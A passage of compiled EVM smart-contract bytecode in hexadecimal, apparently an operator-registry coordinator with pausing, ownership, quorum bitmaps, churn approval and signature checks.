f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614604565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614654565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614687565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a91906146a2565b61033e6105ed3660046146fa565b611068565b6106056106003660046144fc565b61143e565b60405161036a91906147a1565b61033e6114b2565b610494610628366004614687565b6001805460ff9092161b9081161490565b61033e610647366004614826565b61157e565b600154610360565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b61033e6106c336600461485a565b611602565b61033e611757565b6103606106de366004614911565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614ab1565b6117d9565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614bbe565b611af2565b61036060a05481565b6107c66107c1366004614c6e565b611c57565b60405161036a9190614d18565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d61565b611d06565b609c54610360565b61033e610823366004614e4f565b611d6c565b61033e610836366004615000565b611d7f565b6108aa610849366004614687565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150de565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150ec565b60405180910390fd5b60005b82811015610a4857600084848381811061099057610990615123565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614769565b6002811115610a0157610a01614769565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a71615123565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614769565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061517f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615192565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b8152600401610968906151af565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151f9565b610da95760405162461bcd60e51b81526004016109689061521b565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e96615123565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615192565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150ec565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b8381101561143557600085858381811061113157611131615123565b919091013560f81c9150369050600089898581811061115257611152615123565b90506020028101906111649190615263565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f491906152ac565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da57600084848381811061125357611253615123565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614769565b60028111156112c4576112c4614769565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152df565b92611393939291906152f2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614769565b60028111156114a9576114a9614769565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151f9565b61153f5760405162461bcd60e51b81526004016109689061521b565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614769565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a87878787876040516020016110489695949392919061531c565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150ec565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db604083028601368190038101906153a3565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e600081811061195757611957615123565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c2615123565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec615123565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a10615123565b6020026020010151338560200151600081518110611a3057611a30615123565b60200260200101518c8c6000818110611a4b57611a4b615123565b905060400201803603810190611a6191906153a3565b86613335565b611ae388886000818110611a7d57611a7d615123565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152f2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150ec565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c07615123565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc2615123565b6020026020010151613504565b828281518110611ce157611ce1615123565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150ec565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166001600160a01b03199283161790925585548085018755850180547f0000000000000000000000000000000000000000000000000000000000000000841690831617905585549384019095559190920180547f000000000000000000000000000000000000000000000000000000000000000090921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa5615123565b6020026020010151858381518110611fbf57611fbf615123565b6020026020010151858481518110611fd957611fd9615123565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615192565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b8152600401610968906151af565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b60008381526098602052604090206122496001836153bf565b8154811061225957612259615123565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b83838151811061231057612310615123565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153d2565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614769565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906366acfefe906123bf908890869088906004016153eb565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612402919061541b565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158c38339815191528661545a565b90505b6126f5816139e1565b90935091506000805160206158c3833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158c38339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614769565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063f4e24fe590612ad3908a908a9060040161546e565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612b539087908a90600401615492565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612bd39087908a90600401615492565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f0000000000000000000000000000000000000000000000000000000000000000909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef91906154ab565b90506000819003610ee4577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d52939291906154c4565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d291906154ab565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152df565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061517f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614769565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614769565b021790555050604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169150639926ee7d906130fe908d908990600401615534565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633fb27952906131b7908d908c908c906004016155a8565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692506325504777915061323b908d908d908d908d906004016155cd565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061565c565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169062bff04d906132df908c908c908c906004016156c3565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156dd565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615771565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c57600161352982846153bf565b61353391906153bf565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff168154811061356657613566615123565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b61360781600161578e565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063ff694a7790613679908490889088906004016157a7565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a46001846153bf565b90921691806138b281615827565b915050613893565b6000306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801561391357507f000000000000000000000000000000000000000000000000000000000000000046145b1561393d57507f000000000000000000000000000000000000000000000000000000000000000090565b50604080517f00000000000000000000000000000000000000000000000000000000000000006020808301919091527f0000000000000000000000000000000000000000000000000000000000000000828401527f000000000000000000000000000000000000000000000000000000000000000060608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b600080806000805160206158c383398151915260036000805160206158c3833981519152866000805160206158c3833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206158c3833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b13615123565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b41615123565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac6001846153bf565b81548110613cbc57613cbc615123565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615492565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615848565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615872565b6127d29190615894565b604081015160009061271090613f809061ffff1685615872565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614769565b036140f35750565b600181600481111561410757614107614769565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614769565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614769565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614769565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152df565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080f